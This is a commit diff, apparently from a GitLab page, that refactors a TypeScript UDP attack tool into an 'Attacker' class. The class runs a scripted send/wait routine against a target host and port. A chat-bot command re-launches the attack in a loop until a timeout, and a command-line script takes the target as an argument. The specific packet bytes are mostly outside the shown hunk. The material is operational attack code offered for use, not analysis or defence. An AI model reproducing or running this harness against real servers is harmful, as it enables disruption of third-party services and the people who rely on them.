Commit 5db0564c authored by nanahira's avatar nanahira

rewrite

parent a03b1c2e
...@@ -60,84 +60,94 @@ const AttackRoutine: AttackStep[] = [ ...@@ -60,84 +60,94 @@ const AttackRoutine: AttackStep[] = [
comment: "Send final package" comment: "Send final package"
} }
] ]
export class Attacker {
address: string;
function sendMessage(socket: any, message: number[]): Promise<any> { port: number;
return new Promise(done => { timeout: number;
socket.send(Buffer.from(message), done); socket: dgram.Socket;
}); currentWait: (msg: Buffer, rinfo: any) => void;
} constructor(address: string, port: number, timeout: number) {
this.address = address;
let currentWait: (msg: Buffer, rinfo: any) => Promise<void> = null; this.port = port;
function waitForReply(socket: any, messageToWait: number[], timeout: number, intervalMessage?: number[]): Promise<boolean> { this.timeout = timeout;
let intv; this.currentWait = null;
if (intervalMessage) { }
intv = setInterval(sendMessage, 500, socket, intervalMessage); sendMessage(message: number[]): Promise<any> {
return new Promise(done => {
this.socket.send(Buffer.from(message), done);
});
} }
return new Promise(done => { waitForReply(messageToWait: number[], intervalMessage?: number[]): Promise<boolean> {
currentWait = async (msg: Buffer, rinfo: any) => { let intv: NodeJS.Timeout = null;
if (_.isEqual(msg.toJSON().data, messageToWait)) { if (intervalMessage) {
intv = setInterval(this.sendMessage, 500, intervalMessage);
}
return new Promise(done => {
this.currentWait = (msg: Buffer, rinfo: any) => {
if (_.isEqual(msg.toJSON().data, messageToWait)) {
if (intv) {
clearInterval(intv);
}
this.currentWait = null;
done(true);
}
};
setTimeout(() => {
if (!this.currentWait) {
return;
}
if (intv) { if (intv) {
clearInterval(intv); clearInterval(intv);
} }
currentWait = null; this.currentWait = null;
done(true); done(false);
} }, this.timeout);
}; });
setTimeout(() => { }
if (intv) { async performStep(step: AttackStep): Promise<string> {
clearInterval(intv); let err;
switch (step.type) {
case AttackType.Send: {
err = await this.sendMessage(step.message);
if (err) {
return `Failed to perform step ${step.comment}: ${err.toString}`;
}
break;
} }
currentWait = null; case AttackType.Wait: {
done(false); if (!await this.waitForReply(step.message, step.intervalMessage)) {
}, timeout); return `Empty reply on step ${step.comment}.`;
}); }
} break;
async function performStep(socket: any, step: AttackStep, timeout: number): Promise<string> {
let err;
switch (step.type) {
case AttackType.Send: {
err = await sendMessage(socket, step.message);
if (err) {
return `Failed to perform step ${step.comment}: ${err.toString}`;
} }
break; default: {
} return "Unknown step";
case AttackType.Wait: {
if (!await waitForReply(socket, step.message, timeout, step.intervalMessage)) {
return `Empty reply on step ${step.comment}.`;
} }
break;
}
default: {
return "Unknown step";
} }
return null;
} }
return null; async attack(): Promise<string> {
} this.socket = dgram.createSocket("udp4");
let err: string = null;
export async function attack(address: string, port: number, timeout: number): Promise<string> { let connectionError: any = await new Promise(done => {
const socket = dgram.createSocket("udp4"); this.socket.connect(this.port, this.address, done);
let err: string = null; });
let connectionError: any = await new Promise(done => { if (connectionError) {
socket.connect(port, address, done); this.socket.close();
}); return `Failed to connect: ${connectionError.toString()}`;
if (connectionError) {
socket.close();
return `Failed to connect: ${connectionError.toString()}`;
}
socket.on("message", async (msg, rinfo) => {
if (currentWait) {
currentWait(msg, rinfo);
} }
}) this.socket.on("message", (msg, rinfo) => {
for (let step of AttackRoutine) { if (this.currentWait) {
err = await performStep(socket, step, timeout); this.currentWait(msg, rinfo);
if (err) { }
break; })
for (let step of AttackRoutine) {
err = await this.performStep(step);
if (err) {
break;
}
} }
this.socket.close();
return err;
} }
socket.close();
return err;
} }
...@@ -4,7 +4,7 @@ import * as CQHttp from "cqhttp"; ...@@ -4,7 +4,7 @@ import * as CQHttp from "cqhttp";
import * as _ from "underscore"; import * as _ from "underscore";
import * as yaml from "yaml"; import * as yaml from "yaml";
import { spawn } from "child_process"; import { spawn } from "child_process";
import { attack } from "./attacker"; import { Attacker } from "./attacker";
import * as moment from "moment"; import * as moment from "moment";
interface CoolQConfig { interface CoolQConfig {
...@@ -42,7 +42,8 @@ async function startAttack(address: string, port: number): Promise<boolean> { ...@@ -42,7 +42,8 @@ async function startAttack(address: string, port: number): Promise<boolean> {
log.info(`Attack of ${address}:${port} started.`); log.info(`Attack of ${address}:${port} started.`);
let curTime: moment.Moment = moment(); let curTime: moment.Moment = moment();
while (moment().diff(curTime) <= config.attackTimeout) { while (moment().diff(curTime) <= config.attackTimeout) {
const err = await attack(address, port, 1000); const attacker = new Attacker(address, port, 1000);
const err = await attacker.attack();
if (err) { if (err) {
log.warn(`Attack of ${address}:${port} failed: ${err}`); log.warn(`Attack of ${address}:${port} failed: ${err}`);
} else { } else {
......
import { attack } from "./attacker"; import { Attacker } from "./attacker";
const [targetHost, targetPortRaw] = process.argv[2].split(":"); const [targetHost, targetPortRaw] = process.argv[2].split(":");
const targetPort = parseInt(targetPortRaw); const targetPort = parseInt(targetPortRaw);
console.log(targetHost, targetPort); console.log(targetHost, targetPort);
async function main() { async function main() {
console.log((await attack(targetHost, targetPort, 1000)) || "success"); const attacker = new Attacker(targetHost, targetPort, 1000);
console.log((await attacker.attack()) || "success");
} }
main(); main();
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment